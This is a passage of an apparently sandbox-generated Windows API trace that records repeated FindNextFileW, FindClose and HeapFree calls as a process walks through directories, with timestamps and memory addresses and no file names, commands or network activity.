lpFindFileData=0x32af584) returned 1 [0051.959] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0051.959] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0051.959] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0051.959] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0051.959] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0051.966] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0051.966] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0051.973] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0051.973] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0051.973] FindClose (in: hFindFile=0x42800c0 | out: hFindFile=0x42800c0) returned 1 [0051.973] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0051.973] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0051.974] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0051.975] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0051.978] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4373ff0 | out: hHeap=0x690000) returned 1 [0051.978] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0051.983] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4373ff0 | out: hHeap=0x690000) returned 1 [0051.983] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 0 [0051.983] FindClose (in: hFindFile=0x42801c0 | out: hFindFile=0x42801c0) returned 1 [0051.984] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0051.984] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0051.984] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0051.984] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0051.985] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0051.985] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0051.985] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0051.985] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0051.985] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0051.985] FindClose (in: hFindFile=0x4280140 | out: hFindFile=0x4280140) returned 1 [0051.985] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0051.985] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0052.002] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0052.002] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0052.003] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0052.003] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0052.004] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0052.004] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0052.004] FindClose (in: hFindFile=0x42803c0 | out: hFindFile=0x42803c0) returned 1 [0052.004] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0052.005] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0052.008] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0052.008] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0052.008] FindClose (in: hFindFile=0x4280500 | out: hFindFile=0x4280500) returned 1 [0052.008] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0052.008] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0052.011] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0052.011] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0052.011] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0052.011] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0052.063] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0052.063] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0052.063] FindClose (in: hFindFile=0x4280500 | out: hFindFile=0x4280500) returned 1 [0052.063] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0052.063] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0052.073] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0052.073] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0052.680] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0052.680] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0052.680] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0052.681] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0052.681] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0052.681] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0052.682] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0052.682] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0052.682] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0052.682] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0052.682] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0052.682] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0052.684] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0052.684] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0052.685] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0052.685] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0052.685] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0052.685] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0052.687] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0052.687] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0052.688] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0052.688] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0052.711] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4394000 | out: hHeap=0x690000) returned 1 [0052.711] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x32ae918 | out: lpFindFileData=0x32ae918) returned 1 [0052.713] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a4008 | out: hHeap=0x690000) returned 1 [0052.713] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32ae69c | out: lpFindFileData=0x32ae69c) returned 0 [0052.713] FindClose (in: hFindFile=0x42801c0 | out: hFindFile=0x42801c0) returned 1 [0052.738] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4394000 | out: hHeap=0x690000) returned 1 [0052.738] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x32ae918 | out: lpFindFileData=0x32ae918) returned 1 [0052.738] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0052.738] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0052.739] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0052.739] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0052.820] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4373ff0 | out: hHeap=0x690000) returned 1 [0052.820] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x32ae918 | out: lpFindFileData=0x32ae918) returned 0 [0052.820] FindClose (in: hFindFile=0x4280140 | out: hFindFile=0x4280140) returned 1 [0052.820] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0052.823] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0052.823] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0052.823] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0054.261] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0054.262] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0054.539] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.539] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.607] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4373ff0 | out: hHeap=0x690000) returned 1 [0054.607] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32ae918 | out: lpFindFileData=0x32ae918) returned 1 [0054.607] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.608] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.608] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0054.609] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0054.609] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0054.609] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0054.610] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0054.610] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0054.612] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.612] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.612] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.613] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.613] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.613] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.613] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.613] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.614] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.614] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.615] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.615] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.615] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.615] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.616] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.616] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.616] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.616] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.617] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.617] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.617] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.617] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.618] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.618] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.618] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.618] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.619] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.619] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.620] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.620] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.620] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.620] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.621] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.621] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.621] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.621] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.622] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.622] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.622] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.622] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.623] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.623] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.623] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.623] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.624] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.624] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.624] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.624] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.624] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.624] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.625] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.625] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.626] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.626] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.626] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.626] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.626] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.626] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.626] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.627] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.628] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.628] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.628] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.629] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.629] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.629] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.630] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.630] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.632] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.632] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.633] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.633] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.633] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.633] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.634] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.634] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.634] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.634] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.635] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.635] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.636] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.636] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.636] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.636] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.637] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.637] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.637] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.637] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.637] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.637] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 0 [0054.638] FindClose (in: hFindFile=0x4280180 | out: hFindFile=0x4280180) returned 1 [0054.638] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0054.638] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0054.640] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.640] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.640] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.640] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.641] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.641] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.641] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.642] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0054.642] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0054.643] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0054.643] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4373ff0 | out: hHeap=0x690000) returned 1 [0054.643] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32ae918 | out: lpFindFileData=0x32ae918) returned 1 [0054.643] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.643] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 0 [0054.643] FindClose (in: hFindFile=0x4280180 | out: hFindFile=0x4280180) returned 1 [0054.643] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0054.643] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0054.645] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.645] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 0 [0054.645] FindClose (in: hFindFile=0x4280180 | out: hFindFile=0x4280180) returned 1 [0054.646] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0054.646] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0054.646] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0054.646] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32ae69c | out: lpFindFileData=0x32ae69c) returned 1 [0054.646] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4373ff0 | out: hHeap=0x690000) returned 1 [0054.646] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32ae918 | out: lpFindFileData=0x32ae918) returned 0 [0054.647] FindClose (in: hFindFile=0x4280180 | out: hFindFile=0x4280180) returned 1 [0054.647] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 